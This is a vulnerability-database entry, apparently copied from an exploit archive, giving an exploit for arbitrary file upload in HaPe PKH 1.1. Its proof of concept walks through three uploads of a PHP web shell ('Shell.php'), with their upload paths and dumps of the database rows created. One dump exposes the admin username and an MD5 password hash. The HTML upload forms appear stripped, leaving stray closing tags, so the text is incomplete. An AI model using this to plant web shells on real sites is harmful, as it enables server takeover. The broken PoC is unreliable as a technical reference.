发布 2018-10-12 漏洞条目

HaPe PKH 1.1 – Arbitrary File Upload

Exploit Source

# Exploit Title: HaPe PKH 1.1 - Arbitrary File Upload

# Dork: N/A

# Date: 2018-10-12

# Exploit Author: Ihsan Sencan

# Vendor Homepage: http://www.sitejo.id

# Software Link: https://sourceforge.net/projects/hape-pkh/files/latest/download

# Version: 1.1

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# POC:

# 1)

# File => Shell.php

# Upload Path => http://localhost/[PATH]/gambar-konten/9Shell.php

# $foto_ksm = array(

# array('id_foto' => '7','id_pengurus' => '','foto' => '9Shell.php','kategori_foto' => 'Foto Profile','hari' => 'Kamis',

# 'tgl' => '2018-10-12','jam' => '01:58:48'));

</form>

# 2)

# File => Shell.php

# Upload Path => http://localhost/hape-pkh/gambar-konten/14Shell.php

# $admin = array(

# array('id_user' => '1','nama_lengkap' => '','jk' => '','tempat' => '','tl' => '0000-00-00','alamat' => '',

# 'id_desa' => '','no_telp' => '','email' => '','username' => 'admin',

# 'password' => '21232f297a57a5a743894a0e4a801fc3','level' => 'admin',

# 'blokir' => '','foto' => '14Shell.php'));

</form>

# 3)

# File => Shell.php

# Upload Path => http://localhost/hape-pkh/gambar-konten/Shell.php

# $kecamatan = array(array('id_kecamatan' => '1','kecamatan' => '','alamat' => '',

# 'email' => '','telp' => '','kab' => '','provinsi' => '','kodepos' => '',

# 'ket' => '','foto' => 'Shell.php'));

</form>

相关漏洞条目